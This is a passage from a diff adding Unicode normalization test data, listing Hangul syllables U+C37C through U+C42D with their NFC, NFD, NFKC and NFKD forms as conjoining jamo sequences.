+{ source: [0xC37C], NFC: [0xC37C], NFD: [0x110A, 0x1165, 0x11BB], NFKC: [0xC37C], NFKD: [0x110A, 0x1165, 0x11BB] },
+{ source: [0xC37D], NFC: [0xC37D], NFD: [0x110A, 0x1165, 0x11BC], NFKC: [0xC37D], NFKD: [0x110A, 0x1165, 0x11BC] },
+{ source: [0xC37E], NFC: [0xC37E], NFD: [0x110A, 0x1165, 0x11BD], NFKC: [0xC37E], NFKD: [0x110A, 0x1165, 0x11BD] },
+{ source: [0xC37F], NFC: [0xC37F], NFD: [0x110A, 0x1165, 0x11BE], NFKC: [0xC37F], NFKD: [0x110A, 0x1165, 0x11BE] },
+{ source: [0xC380], NFC: [0xC380], NFD: [0x110A, 0x1165, 0x11BF], NFKC: [0xC380], NFKD: [0x110A, 0x1165, 0x11BF] },
+{ source: [0xC381], NFC: [0xC381], NFD: [0x110A, 0x1165, 0x11C0], NFKC: [0xC381], NFKD: [0x110A, 0x1165, 0x11C0] },
+{ source: [0xC382], NFC: [0xC382], NFD: [0x110A, 0x1165, 0x11C1], NFKC: [0xC382], NFKD: [0x110A, 0x1165, 0x11C1] },
+{ source: [0xC383], NFC: [0xC383], NFD: [0x110A, 0x1165, 0x11C2], NFKC: [0xC383], NFKD: [0x110A, 0x1165, 0x11C2] },
+{ source: [0xC384], NFC: [0xC384], NFD: [0x110A, 0x1166], NFKC: [0xC384], NFKD: [0x110A, 0x1166] },
+{ source: [0xC385], NFC: [0xC385], NFD: [0x110A, 0x1166, 0x11A8], NFKC: [0xC385], NFKD: [0x110A, 0x1166, 0x11A8] },
+{ source: [0xC386], NFC: [0xC386], NFD: [0x110A, 0x1166, 0x11A9], NFKC: [0xC386], NFKD: [0x110A, 0x1166, 0x11A9] },
+{ source: [0xC387], NFC: [0xC387], NFD: [0x110A, 0x1166, 0x11AA], NFKC: [0xC387], NFKD: [0x110A, 0x1166, 0x11AA] },
+{ source: [0xC388], NFC: [0xC388], NFD: [0x110A, 0x1166, 0x11AB], NFKC: [0xC388], NFKD: [0x110A, 0x1166, 0x11AB] },
+{ source: [0xC389], NFC: [0xC389], NFD: [0x110A, 0x1166, 0x11AC], NFKC: [0xC389], NFKD: [0x110A, 0x1166, 0x11AC] },
+{ source: [0xC38A], NFC: [0xC38A], NFD: [0x110A, 0x1166, 0x11AD], NFKC: [0xC38A], NFKD: [0x110A, 0x1166, 0x11AD] },
+{ source: [0xC38B], NFC: [0xC38B], NFD: [0x110A, 0x1166, 0x11AE], NFKC: [0xC38B], NFKD: [0x110A, 0x1166, 0x11AE] },
+{ source: [0xC38C], NFC: [0xC38C], NFD: [0x110A, 0x1166, 0x11AF], NFKC: [0xC38C], NFKD: [0x110A, 0x1166, 0x11AF] },
+{ source: [0xC38D], NFC: [0xC38D], NFD: [0x110A, 0x1166, 0x11B0], NFKC: [0xC38D], NFKD: [0x110A, 0x1166, 0x11B0] },
+{ source: [0xC38E], NFC: [0xC38E], NFD: [0x110A, 0x1166, 0x11B1], NFKC: [0xC38E], NFKD: [0x110A, 0x1166, 0x11B1] },
+{ source: [0xC38F], NFC: [0xC38F], NFD: [0x110A, 0x1166, 0x11B2], NFKC: [0xC38F], NFKD: [0x110A, 0x1166, 0x11B2] },
+{ source: [0xC390], NFC: [0xC390], NFD: [0x110A, 0x1166, 0x11B3], NFKC: [0xC390], NFKD: [0x110A, 0x1166, 0x11B3] },
+{ source: [0xC391], NFC: [0xC391], NFD: [0x110A, 0x1166, 0x11B4], NFKC: [0xC391], NFKD: [0x110A, 0x1166, 0x11B4] },
+{ source: [0xC392], NFC: [0xC392], NFD: [0x110A, 0x1166, 0x11B5], NFKC: [0xC392], NFKD: [0x110A, 0x1166, 0x11B5] },
+{ source: [0xC393], NFC: [0xC393], NFD: [0x110A, 0x1166, 0x11B6], NFKC: [0xC393], NFKD: [0x110A, 0x1166, 0x11B6] },
+{ source: [0xC394], NFC: [0xC394], NFD: [0x110A, 0x1166, 0x11B7], NFKC: [0xC394], NFKD: [0x110A, 0x1166, 0x11B7] },
+{ source: [0xC395], NFC: [0xC395], NFD: [0x110A, 0x1166, 0x11B8], NFKC: [0xC395], NFKD: [0x110A, 0x1166, 0x11B8] },
+{ source: [0xC396], NFC: [0xC396], NFD: [0x110A, 0x1166, 0x11B9], NFKC: [0xC396], NFKD: [0x110A, 0x1166, 0x11B9] },
+{ source: [0xC397], NFC: [0xC397], NFD: [0x110A, 0x1166, 0x11BA], NFKC: [0xC397], NFKD: [0x110A, 0x1166, 0x11BA] },
+{ source: [0xC398], NFC: [0xC398], NFD: [0x110A, 0x1166, 0x11BB], NFKC: [0xC398], NFKD: [0x110A, 0x1166, 0x11BB] },
+{ source: [0xC399], NFC: [0xC399], NFD: [0x110A, 0x1166, 0x11BC], NFKC: [0xC399], NFKD: [0x110A, 0x1166, 0x11BC] },
+{ source: [0xC39A], NFC: [0xC39A], NFD: [0x110A, 0x1166, 0x11BD], NFKC: [0xC39A], NFKD: [0x110A, 0x1166, 0x11BD] },
+{ source: [0xC39B], NFC: [0xC39B], NFD: [0x110A, 0x1166, 0x11BE], NFKC: [0xC39B], NFKD: [0x110A, 0x1166, 0x11BE] },
+{ source: [0xC39C], NFC: [0xC39C], NFD: [0x110A, 0x1166, 0x11BF], NFKC: [0xC39C], NFKD: [0x110A, 0x1166, 0x11BF] },
+{ source: [0xC39D], NFC: [0xC39D], NFD: [0x110A, 0x1166, 0x11C0], NFKC: [0xC39D], NFKD: [0x110A, 0x1166, 0x11C0] },
+{ source: [0xC39E], NFC: [0xC39E], NFD: [0x110A, 0x1166, 0x11C1], NFKC: [0xC39E], NFKD: [0x110A, 0x1166, 0x11C1] },
+{ source: [0xC39F], NFC: [0xC39F], NFD: [0x110A, 0x1166, 0x11C2], NFKC: [0xC39F], NFKD: [0x110A, 0x1166, 0x11C2] },
+{ source: [0xC3A0], NFC: [0xC3A0], NFD: [0x110A, 0x1167], NFKC: [0xC3A0], NFKD: [0x110A, 0x1167] },
+{ source: [0xC3A1], NFC: [0xC3A1], NFD: [0x110A, 0x1167, 0x11A8], NFKC: [0xC3A1], NFKD: [0x110A, 0x1167, 0x11A8] },
+{ source: [0xC3A2], NFC: [0xC3A2], NFD: [0x110A, 0x1167, 0x11A9], NFKC: [0xC3A2], NFKD: [0x110A, 0x1167, 0x11A9] },
+{ source: [0xC3A3], NFC: [0xC3A3], NFD: [0x110A, 0x1167, 0x11AA], NFKC: [0xC3A3], NFKD: [0x110A, 0x1167, 0x11AA] },
+{ source: [0xC3A4], NFC: [0xC3A4], NFD: [0x110A, 0x1167, 0x11AB], NFKC: [0xC3A4], NFKD: [0x110A, 0x1167, 0x11AB] },
+{ source: [0xC3A5], NFC: [0xC3A5], NFD: [0x110A, 0x1167, 0x11AC], NFKC: [0xC3A5], NFKD: [0x110A, 0x1167, 0x11AC] },
+{ source: [0xC3A6], NFC: [0xC3A6], NFD: [0x110A, 0x1167, 0x11AD], NFKC: [0xC3A6], NFKD: [0x110A, 0x1167, 0x11AD] },
+{ source: [0xC3A7], NFC: [0xC3A7], NFD: [0x110A, 0x1167, 0x11AE], NFKC: [0xC3A7], NFKD: [0x110A, 0x1167, 0x11AE] },
+{ source: [0xC3A8], NFC: [0xC3A8], NFD: [0x110A, 0x1167, 0x11AF], NFKC: [0xC3A8], NFKD: [0x110A, 0x1167, 0x11AF] },
+{ source: [0xC3A9], NFC: [0xC3A9], NFD: [0x110A, 0x1167, 0x11B0], NFKC: [0xC3A9], NFKD: [0x110A, 0x1167, 0x11B0] },
+{ source: [0xC3AA], NFC: [0xC3AA], NFD: [0x110A, 0x1167, 0x11B1], NFKC: [0xC3AA], NFKD: [0x110A, 0x1167, 0x11B1] },
+{ source: [0xC3AB], NFC: [0xC3AB], NFD: [0x110A, 0x1167, 0x11B2], NFKC: [0xC3AB], NFKD: [0x110A, 0x1167, 0x11B2] },
+{ source: [0xC3AC], NFC: [0xC3AC], NFD: [0x110A, 0x1167, 0x11B3], NFKC: [0xC3AC], NFKD: [0x110A, 0x1167, 0x11B3] },
+{ source: [0xC3AD], NFC: [0xC3AD], NFD: [0x110A, 0x1167, 0x11B4], NFKC: [0xC3AD], NFKD: [0x110A, 0x1167, 0x11B4] },
+{ source: [0xC3AE], NFC: [0xC3AE], NFD: [0x110A, 0x1167, 0x11B5], NFKC: [0xC3AE], NFKD: [0x110A, 0x1167, 0x11B5] },
+{ source: [0xC3AF], NFC: [0xC3AF], NFD: [0x110A, 0x1167, 0x11B6], NFKC: [0xC3AF], NFKD: [0x110A, 0x1167, 0x11B6] },
+{ source: [0xC3B0], NFC: [0xC3B0], NFD: [0x110A, 0x1167, 0x11B7], NFKC: [0xC3B0], NFKD: [0x110A, 0x1167, 0x11B7] },
+{ source: [0xC3B1], NFC: [0xC3B1], NFD: [0x110A, 0x1167, 0x11B8], NFKC: [0xC3B1], NFKD: [0x110A, 0x1167, 0x11B8] },
+{ source: [0xC3B2], NFC: [0xC3B2], NFD: [0x110A, 0x1167, 0x11B9], NFKC: [0xC3B2], NFKD: [0x110A, 0x1167, 0x11B9] },
+{ source: [0xC3B3], NFC: [0xC3B3], NFD: [0x110A, 0x1167, 0x11BA], NFKC: [0xC3B3], NFKD: [0x110A, 0x1167, 0x11BA] },
+{ source: [0xC3B4], NFC: [0xC3B4], NFD: [0x110A, 0x1167, 0x11BB], NFKC: [0xC3B4], NFKD: [0x110A, 0x1167, 0x11BB] },
+{ source: [0xC3B5], NFC: [0xC3B5], NFD: [0x110A, 0x1167, 0x11BC], NFKC: [0xC3B5], NFKD: [0x110A, 0x1167, 0x11BC] },
+{ source: [0xC3B6], NFC: [0xC3B6], NFD: [0x110A, 0x1167, 0x11BD], NFKC: [0xC3B6], NFKD: [0x110A, 0x1167, 0x11BD] },
+{ source: [0xC3B7], NFC: [0xC3B7], NFD: [0x110A, 0x1167, 0x11BE], NFKC: [0xC3B7], NFKD: [0x110A, 0x1167, 0x11BE] },
+{ source: [0xC3B8], NFC: [0xC3B8], NFD: [0x110A, 0x1167, 0x11BF], NFKC: [0xC3B8], NFKD: [0x110A, 0x1167, 0x11BF] },
+{ source: [0xC3B9], NFC: [0xC3B9], NFD: [0x110A, 0x1167, 0x11C0], NFKC: [0xC3B9], NFKD: [0x110A, 0x1167, 0x11C0] },
+{ source: [0xC3BA], NFC: [0xC3BA], NFD: [0x110A, 0x1167, 0x11C1], NFKC: [0xC3BA], NFKD: [0x110A, 0x1167, 0x11C1] },
+{ source: [0xC3BB], NFC: [0xC3BB], NFD: [0x110A, 0x1167, 0x11C2], NFKC: [0xC3BB], NFKD: [0x110A, 0x1167, 0x11C2] },
+{ source: [0xC3BC], NFC: [0xC3BC], NFD: [0x110A, 0x1168], NFKC: [0xC3BC], NFKD: [0x110A, 0x1168] },
+{ source: [0xC3BD], NFC: [0xC3BD], NFD: [0x110A, 0x1168, 0x11A8], NFKC: [0xC3BD], NFKD: [0x110A, 0x1168, 0x11A8] },
+{ source: [0xC3BE], NFC: [0xC3BE], NFD: [0x110A, 0x1168, 0x11A9], NFKC: [0xC3BE], NFKD: [0x110A, 0x1168, 0x11A9] },
+{ source: [0xC3BF], NFC: [0xC3BF], NFD: [0x110A, 0x1168, 0x11AA], NFKC: [0xC3BF], NFKD: [0x110A, 0x1168, 0x11AA] },
+{ source: [0xC3C0], NFC: [0xC3C0], NFD: [0x110A, 0x1168, 0x11AB], NFKC: [0xC3C0], NFKD: [0x110A, 0x1168, 0x11AB] },
+{ source: [0xC3C1], NFC: [0xC3C1], NFD: [0x110A, 0x1168, 0x11AC], NFKC: [0xC3C1], NFKD: [0x110A, 0x1168, 0x11AC] },
+{ source: [0xC3C2], NFC: [0xC3C2], NFD: [0x110A, 0x1168, 0x11AD], NFKC: [0xC3C2], NFKD: [0x110A, 0x1168, 0x11AD] },
+{ source: [0xC3C3], NFC: [0xC3C3], NFD: [0x110A, 0x1168, 0x11AE], NFKC: [0xC3C3], NFKD: [0x110A, 0x1168, 0x11AE] },
+{ source: [0xC3C4], NFC: [0xC3C4], NFD: [0x110A, 0x1168, 0x11AF], NFKC: [0xC3C4], NFKD: [0x110A, 0x1168, 0x11AF] },
+{ source: [0xC3C5], NFC: [0xC3C5], NFD: [0x110A, 0x1168, 0x11B0], NFKC: [0xC3C5], NFKD: [0x110A, 0x1168, 0x11B0] },
+{ source: [0xC3C6], NFC: [0xC3C6], NFD: [0x110A, 0x1168, 0x11B1], NFKC: [0xC3C6], NFKD: [0x110A, 0x1168, 0x11B1] },
+{ source: [0xC3C7], NFC: [0xC3C7], NFD: [0x110A, 0x1168, 0x11B2], NFKC: [0xC3C7], NFKD: [0x110A, 0x1168, 0x11B2] },
+{ source: [0xC3C8], NFC: [0xC3C8], NFD: [0x110A, 0x1168, 0x11B3], NFKC: [0xC3C8], NFKD: [0x110A, 0x1168, 0x11B3] },
+{ source: [0xC3C9], NFC: [0xC3C9], NFD: [0x110A, 0x1168, 0x11B4], NFKC: [0xC3C9], NFKD: [0x110A, 0x1168, 0x11B4] },
+{ source: [0xC3CA], NFC: [0xC3CA], NFD: [0x110A, 0x1168, 0x11B5], NFKC: [0xC3CA], NFKD: [0x110A, 0x1168, 0x11B5] },
+{ source: [0xC3CB], NFC: [0xC3CB], NFD: [0x110A, 0x1168, 0x11B6], NFKC: [0xC3CB], NFKD: [0x110A, 0x1168, 0x11B6] },
+{ source: [0xC3CC], NFC: [0xC3CC], NFD: [0x110A, 0x1168, 0x11B7], NFKC: [0xC3CC], NFKD: [0x110A, 0x1168, 0x11B7] },
+{ source: [0xC3CD], NFC: [0xC3CD], NFD: [0x110A, 0x1168, 0x11B8], NFKC: [0xC3CD], NFKD: [0x110A, 0x1168, 0x11B8] },
+{ source: [0xC3CE], NFC: [0xC3CE], NFD: [0x110A, 0x1168, 0x11B9], NFKC: [0xC3CE], NFKD: [0x110A, 0x1168, 0x11B9] },
+{ source: [0xC3CF], NFC: [0xC3CF], NFD: [0x110A, 0x1168, 0x11BA], NFKC: [0xC3CF], NFKD: [0x110A, 0x1168, 0x11BA] },
+{ source: [0xC3D0], NFC: [0xC3D0], NFD: [0x110A, 0x1168, 0x11BB], NFKC: [0xC3D0], NFKD: [0x110A, 0x1168, 0x11BB] },
+{ source: [0xC3D1], NFC: [0xC3D1], NFD: [0x110A, 0x1168, 0x11BC], NFKC: [0xC3D1], NFKD: [0x110A, 0x1168, 0x11BC] },
+{ source: [0xC3D2], NFC: [0xC3D2], NFD: [0x110A, 0x1168, 0x11BD], NFKC: [0xC3D2], NFKD: [0x110A, 0x1168, 0x11BD] },
+{ source: [0xC3D3], NFC: [0xC3D3], NFD: [0x110A, 0x1168, 0x11BE], NFKC: [0xC3D3], NFKD: [0x110A, 0x1168, 0x11BE] },
+{ source: [0xC3D4], NFC: [0xC3D4], NFD: [0x110A, 0x1168, 0x11BF], NFKC: [0xC3D4], NFKD: [0x110A, 0x1168, 0x11BF] },
+{ source: [0xC3D5], NFC: [0xC3D5], NFD: [0x110A, 0x1168, 0x11C0], NFKC: [0xC3D5], NFKD: [0x110A, 0x1168, 0x11C0] },
+{ source: [0xC3D6], NFC: [0xC3D6], NFD: [0x110A, 0x1168, 0x11C1], NFKC: [0xC3D6], NFKD: [0x110A, 0x1168, 0x11C1] },
+{ source: [0xC3D7], NFC: [0xC3D7], NFD: [0x110A, 0x1168, 0x11C2], NFKC: [0xC3D7], NFKD: [0x110A, 0x1168, 0x11C2] },
+{ source: [0xC3D8], NFC: [0xC3D8], NFD: [0x110A, 0x1169], NFKC: [0xC3D8], NFKD: [0x110A, 0x1169] },
+{ source: [0xC3D9], NFC: [0xC3D9], NFD: [0x110A, 0x1169, 0x11A8], NFKC: [0xC3D9], NFKD: [0x110A, 0x1169, 0x11A8] },
+{ source: [0xC3DA], NFC: [0xC3DA], NFD: [0x110A, 0x1169, 0x11A9], NFKC: [0xC3DA], NFKD: [0x110A, 0x1169, 0x11A9] },
+{ source: [0xC3DB], NFC: [0xC3DB], NFD: [0x110A, 0x1169, 0x11AA], NFKC: [0xC3DB], NFKD: [0x110A, 0x1169, 0x11AA] },
+{ source: [0xC3DC], NFC: [0xC3DC], NFD: [0x110A, 0x1169, 0x11AB], NFKC: [0xC3DC], NFKD: [0x110A, 0x1169, 0x11AB] },
+{ source: [0xC3DD], NFC: [0xC3DD], NFD: [0x110A, 0x1169, 0x11AC], NFKC: [0xC3DD], NFKD: [0x110A, 0x1169, 0x11AC] },
+{ source: [0xC3DE], NFC: [0xC3DE], NFD: [0x110A, 0x1169, 0x11AD], NFKC: [0xC3DE], NFKD: [0x110A, 0x1169, 0x11AD] },
+{ source: [0xC3DF], NFC: [0xC3DF], NFD: [0x110A, 0x1169, 0x11AE], NFKC: [0xC3DF], NFKD: [0x110A, 0x1169, 0x11AE] },
+{ source: [0xC3E0], NFC: [0xC3E0], NFD: [0x110A, 0x1169, 0x11AF], NFKC: [0xC3E0], NFKD: [0x110A, 0x1169, 0x11AF] },
+{ source: [0xC3E1], NFC: [0xC3E1], NFD: [0x110A, 0x1169, 0x11B0], NFKC: [0xC3E1], NFKD: [0x110A, 0x1169, 0x11B0] },
+{ source: [0xC3E2], NFC: [0xC3E2], NFD: [0x110A, 0x1169, 0x11B1], NFKC: [0xC3E2], NFKD: [0x110A, 0x1169, 0x11B1] },
+{ source: [0xC3E3], NFC: [0xC3E3], NFD: [0x110A, 0x1169, 0x11B2], NFKC: [0xC3E3], NFKD: [0x110A, 0x1169, 0x11B2] },
+{ source: [0xC3E4], NFC: [0xC3E4], NFD: [0x110A, 0x1169, 0x11B3], NFKC: [0xC3E4], NFKD: [0x110A, 0x1169, 0x11B3] },
+{ source: [0xC3E5], NFC: [0xC3E5], NFD: [0x110A, 0x1169, 0x11B4], NFKC: [0xC3E5], NFKD: [0x110A, 0x1169, 0x11B4] },
+{ source: [0xC3E6], NFC: [0xC3E6], NFD: [0x110A, 0x1169, 0x11B5], NFKC: [0xC3E6], NFKD: [0x110A, 0x1169, 0x11B5] },
+{ source: [0xC3E7], NFC: [0xC3E7], NFD: [0x110A, 0x1169, 0x11B6], NFKC: [0xC3E7], NFKD: [0x110A, 0x1169, 0x11B6] },
+{ source: [0xC3E8], NFC: [0xC3E8], NFD: [0x110A, 0x1169, 0x11B7], NFKC: [0xC3E8], NFKD: [0x110A, 0x1169, 0x11B7] },
+{ source: [0xC3E9], NFC: [0xC3E9], NFD: [0x110A, 0x1169, 0x11B8], NFKC: [0xC3E9], NFKD: [0x110A, 0x1169, 0x11B8] },
+{ source: [0xC3EA], NFC: [0xC3EA], NFD: [0x110A, 0x1169, 0x11B9], NFKC: [0xC3EA], NFKD: [0x110A, 0x1169, 0x11B9] },
+{ source: [0xC3EB], NFC: [0xC3EB], NFD: [0x110A, 0x1169, 0x11BA], NFKC: [0xC3EB], NFKD: [0x110A, 0x1169, 0x11BA] },
+{ source: [0xC3EC], NFC: [0xC3EC], NFD: [0x110A, 0x1169, 0x11BB], NFKC: [0xC3EC], NFKD: [0x110A, 0x1169, 0x11BB] },
+{ source: [0xC3ED], NFC: [0xC3ED], NFD: [0x110A, 0x1169, 0x11BC], NFKC: [0xC3ED], NFKD: [0x110A, 0x1169, 0x11BC] },
+{ source: [0xC3EE], NFC: [0xC3EE], NFD: [0x110A, 0x1169, 0x11BD], NFKC: [0xC3EE], NFKD: [0x110A, 0x1169, 0x11BD] },
+{ source: [0xC3EF], NFC: [0xC3EF], NFD: [0x110A, 0x1169, 0x11BE], NFKC: [0xC3EF], NFKD: [0x110A, 0x1169, 0x11BE] },
+{ source: [0xC3F0], NFC: [0xC3F0], NFD: [0x110A, 0x1169, 0x11BF], NFKC: [0xC3F0], NFKD: [0x110A, 0x1169, 0x11BF] },
+{ source: [0xC3F1], NFC: [0xC3F1], NFD: [0x110A, 0x1169, 0x11C0], NFKC: [0xC3F1], NFKD: [0x110A, 0x1169, 0x11C0] },
+{ source: [0xC3F2], NFC: [0xC3F2], NFD: [0x110A, 0x1169, 0x11C1], NFKC: [0xC3F2], NFKD: [0x110A, 0x1169, 0x11C1] },
+{ source: [0xC3F3], NFC: [0xC3F3], NFD: [0x110A, 0x1169, 0x11C2], NFKC: [0xC3F3], NFKD: [0x110A, 0x1169, 0x11C2] },
+{ source: [0xC3F4], NFC: [0xC3F4], NFD: [0x110A, 0x116A], NFKC: [0xC3F4], NFKD: [0x110A, 0x116A] },
+{ source: [0xC3F5], NFC: [0xC3F5], NFD: [0x110A, 0x116A, 0x11A8], NFKC: [0xC3F5], NFKD: [0x110A, 0x116A, 0x11A8] },
+{ source: [0xC3F6], NFC: [0xC3F6], NFD: [0x110A, 0x116A, 0x11A9], NFKC: [0xC3F6], NFKD: [0x110A, 0x116A, 0x11A9] },
+{ source: [0xC3F7], NFC: [0xC3F7], NFD: [0x110A, 0x116A, 0x11AA], NFKC: [0xC3F7], NFKD: [0x110A, 0x116A, 0x11AA] },
+{ source: [0xC3F8], NFC: [0xC3F8], NFD: [0x110A, 0x116A, 0x11AB], NFKC: [0xC3F8], NFKD: [0x110A, 0x116A, 0x11AB] },
+{ source: [0xC3F9], NFC: [0xC3F9], NFD: [0x110A, 0x116A, 0x11AC], NFKC: [0xC3F9], NFKD: [0x110A, 0x116A, 0x11AC] },
+{ source: [0xC3FA], NFC: [0xC3FA], NFD: [0x110A, 0x116A, 0x11AD], NFKC: [0xC3FA], NFKD: [0x110A, 0x116A, 0x11AD] },
+{ source: [0xC3FB], NFC: [0xC3FB], NFD: [0x110A, 0x116A, 0x11AE], NFKC: [0xC3FB], NFKD: [0x110A, 0x116A, 0x11AE] },
+{ source: [0xC3FC], NFC: [0xC3FC], NFD: [0x110A, 0x116A, 0x11AF], NFKC: [0xC3FC], NFKD: [0x110A, 0x116A, 0x11AF] },
+{ source: [0xC3FD], NFC: [0xC3FD], NFD: [0x110A, 0x116A, 0x11B0], NFKC: [0xC3FD], NFKD: [0x110A, 0x116A, 0x11B0] },
+{ source: [0xC3FE], NFC: [0xC3FE], NFD: [0x110A, 0x116A, 0x11B1], NFKC: [0xC3FE], NFKD: [0x110A, 0x116A, 0x11B1] },
+{ source: [0xC3FF], NFC: [0xC3FF], NFD: [0x110A, 0x116A, 0x11B2], NFKC: [0xC3FF], NFKD: [0x110A, 0x116A, 0x11B2] },
+{ source: [0xC400], NFC: [0xC400], NFD: [0x110A, 0x116A, 0x11B3], NFKC: [0xC400], NFKD: [0x110A, 0x116A, 0x11B3] },
+{ source: [0xC401], NFC: [0xC401], NFD: [0x110A, 0x116A, 0x11B4], NFKC: [0xC401], NFKD: [0x110A, 0x116A, 0x11B4] },
+{ source: [0xC402], NFC: [0xC402], NFD: [0x110A, 0x116A, 0x11B5], NFKC: [0xC402], NFKD: [0x110A, 0x116A, 0x11B5] },
+{ source: [0xC403], NFC: [0xC403], NFD: [0x110A, 0x116A, 0x11B6], NFKC: [0xC403], NFKD: [0x110A, 0x116A, 0x11B6] },
+{ source: [0xC404], NFC: [0xC404], NFD: [0x110A, 0x116A, 0x11B7], NFKC: [0xC404], NFKD: [0x110A, 0x116A, 0x11B7] },
+{ source: [0xC405], NFC: [0xC405], NFD: [0x110A, 0x116A, 0x11B8], NFKC: [0xC405], NFKD: [0x110A, 0x116A, 0x11B8] },
+{ source: [0xC406], NFC: [0xC406], NFD: [0x110A, 0x116A, 0x11B9], NFKC: [0xC406], NFKD: [0x110A, 0x116A, 0x11B9] },
+{ source: [0xC407], NFC: [0xC407], NFD: [0x110A, 0x116A, 0x11BA], NFKC: [0xC407], NFKD: [0x110A, 0x116A, 0x11BA] },
+{ source: [0xC408], NFC: [0xC408], NFD: [0x110A, 0x116A, 0x11BB], NFKC: [0xC408], NFKD: [0x110A, 0x116A, 0x11BB] },
+{ source: [0xC409], NFC: [0xC409], NFD: [0x110A, 0x116A, 0x11BC], NFKC: [0xC409], NFKD: [0x110A, 0x116A, 0x11BC] },
+{ source: [0xC40A], NFC: [0xC40A], NFD: [0x110A, 0x116A, 0x11BD], NFKC: [0xC40A], NFKD: [0x110A, 0x116A, 0x11BD] },
+{ source: [0xC40B], NFC: [0xC40B], NFD: [0x110A, 0x116A, 0x11BE], NFKC: [0xC40B], NFKD: [0x110A, 0x116A, 0x11BE] },
+{ source: [0xC40C], NFC: [0xC40C], NFD: [0x110A, 0x116A, 0x11BF], NFKC: [0xC40C], NFKD: [0x110A, 0x116A, 0x11BF] },
+{ source: [0xC40D], NFC: [0xC40D], NFD: [0x110A, 0x116A, 0x11C0], NFKC: [0xC40D], NFKD: [0x110A, 0x116A, 0x11C0] },
+{ source: [0xC40E], NFC: [0xC40E], NFD: [0x110A, 0x116A, 0x11C1], NFKC: [0xC40E], NFKD: [0x110A, 0x116A, 0x11C1] },
+{ source: [0xC40F], NFC: [0xC40F], NFD: [0x110A, 0x116A, 0x11C2], NFKC: [0xC40F], NFKD: [0x110A, 0x116A, 0x11C2] },
+{ source: [0xC410], NFC: [0xC410], NFD: [0x110A, 0x116B], NFKC: [0xC410], NFKD: [0x110A, 0x116B] },
+{ source: [0xC411], NFC: [0xC411], NFD: [0x110A, 0x116B, 0x11A8], NFKC: [0xC411], NFKD: [0x110A, 0x116B, 0x11A8] },
+{ source: [0xC412], NFC: [0xC412], NFD: [0x110A, 0x116B, 0x11A9], NFKC: [0xC412], NFKD: [0x110A, 0x116B, 0x11A9] },
+{ source: [0xC413], NFC: [0xC413], NFD: [0x110A, 0x116B, 0x11AA], NFKC: [0xC413], NFKD: [0x110A, 0x116B, 0x11AA] },
+{ source: [0xC414], NFC: [0xC414], NFD: [0x110A, 0x116B, 0x11AB], NFKC: [0xC414], NFKD: [0x110A, 0x116B, 0x11AB] },
+{ source: [0xC415], NFC: [0xC415], NFD: [0x110A, 0x116B, 0x11AC], NFKC: [0xC415], NFKD: [0x110A, 0x116B, 0x11AC] },
+{ source: [0xC416], NFC: [0xC416], NFD: [0x110A, 0x116B, 0x11AD], NFKC: [0xC416], NFKD: [0x110A, 0x116B, 0x11AD] },
+{ source: [0xC417], NFC: [0xC417], NFD: [0x110A, 0x116B, 0x11AE], NFKC: [0xC417], NFKD: [0x110A, 0x116B, 0x11AE] },
+{ source: [0xC418], NFC: [0xC418], NFD: [0x110A, 0x116B, 0x11AF], NFKC: [0xC418], NFKD: [0x110A, 0x116B, 0x11AF] },
+{ source: [0xC419], NFC: [0xC419], NFD: [0x110A, 0x116B, 0x11B0], NFKC: [0xC419], NFKD: [0x110A, 0x116B, 0x11B0] },
+{ source: [0xC41A], NFC: [0xC41A], NFD: [0x110A, 0x116B, 0x11B1], NFKC: [0xC41A], NFKD: [0x110A, 0x116B, 0x11B1] },
+{ source: [0xC41B], NFC: [0xC41B], NFD: [0x110A, 0x116B, 0x11B2], NFKC: [0xC41B], NFKD: [0x110A, 0x116B, 0x11B2] },
+{ source: [0xC41C], NFC: [0xC41C], NFD: [0x110A, 0x116B, 0x11B3], NFKC: [0xC41C], NFKD: [0x110A, 0x116B, 0x11B3] },
+{ source: [0xC41D], NFC: [0xC41D], NFD: [0x110A, 0x116B, 0x11B4], NFKC: [0xC41D], NFKD: [0x110A, 0x116B, 0x11B4] },
+{ source: [0xC41E], NFC: [0xC41E], NFD: [0x110A, 0x116B, 0x11B5], NFKC: [0xC41E], NFKD: [0x110A, 0x116B, 0x11B5] },
+{ source: [0xC41F], NFC: [0xC41F], NFD: [0x110A, 0x116B, 0x11B6], NFKC: [0xC41F], NFKD: [0x110A, 0x116B, 0x11B6] },
+{ source: [0xC420], NFC: [0xC420], NFD: [0x110A, 0x116B, 0x11B7], NFKC: [0xC420], NFKD: [0x110A, 0x116B, 0x11B7] },
+{ source: [0xC421], NFC: [0xC421], NFD: [0x110A, 0x116B, 0x11B8], NFKC: [0xC421], NFKD: [0x110A, 0x116B, 0x11B8] },
+{ source: [0xC422], NFC: [0xC422], NFD: [0x110A, 0x116B, 0x11B9], NFKC: [0xC422], NFKD: [0x110A, 0x116B, 0x11B9] },
+{ source: [0xC423], NFC: [0xC423], NFD: [0x110A, 0x116B, 0x11BA], NFKC: [0xC423], NFKD: [0x110A, 0x116B, 0x11BA] },
+{ source: [0xC424], NFC: [0xC424], NFD: [0x110A, 0x116B, 0x11BB], NFKC: [0xC424], NFKD: [0x110A, 0x116B, 0x11BB] },
+{ source: [0xC425], NFC: [0xC425], NFD: [0x110A, 0x116B, 0x11BC], NFKC: [0xC425], NFKD: [0x110A, 0x116B, 0x11BC] },
+{ source: [0xC426], NFC: [0xC426], NFD: [0x110A, 0x116B, 0x11BD], NFKC: [0xC426], NFKD: [0x110A, 0x116B, 0x11BD] },
+{ source: [0xC427], NFC: [0xC427], NFD: [0x110A, 0x116B, 0x11BE], NFKC: [0xC427], NFKD: [0x110A, 0x116B, 0x11BE] },
+{ source: [0xC428], NFC: [0xC428], NFD: [0x110A, 0x116B, 0x11BF], NFKC: [0xC428], NFKD: [0x110A, 0x116B, 0x11BF] },
+{ source: [0xC429], NFC: [0xC429], NFD: [0x110A, 0x116B, 0x11C0], NFKC: [0xC429], NFKD: [0x110A, 0x116B, 0x11C0] },
+{ source: [0xC42A], NFC: [0xC42A], NFD: [0x110A, 0x116B, 0x11C1], NFKC: [0xC42A], NFKD: [0x110A, 0x116B, 0x11C1] },
+{ source: [0xC42B], NFC: [0xC42B], NFD: [0x110A, 0x116B, 0x11C2], NFKC: [0xC42B], NFKD: [0x110A, 0x116B, 0x11C2] },
+{ source: [0xC42C], NFC: [0xC42C], NFD: [0x110A, 0x116C], NFKC: [0xC42C], NFKD: [0x110A, 0x116C] },
+{ source: [0xC42D], NFC: [0xC42D], NFD: [0x110A, 0x116C, 0x11A8], NFKC: [0xC42D], NFKD: [0x110A, 0x116C, 0x11A8] },
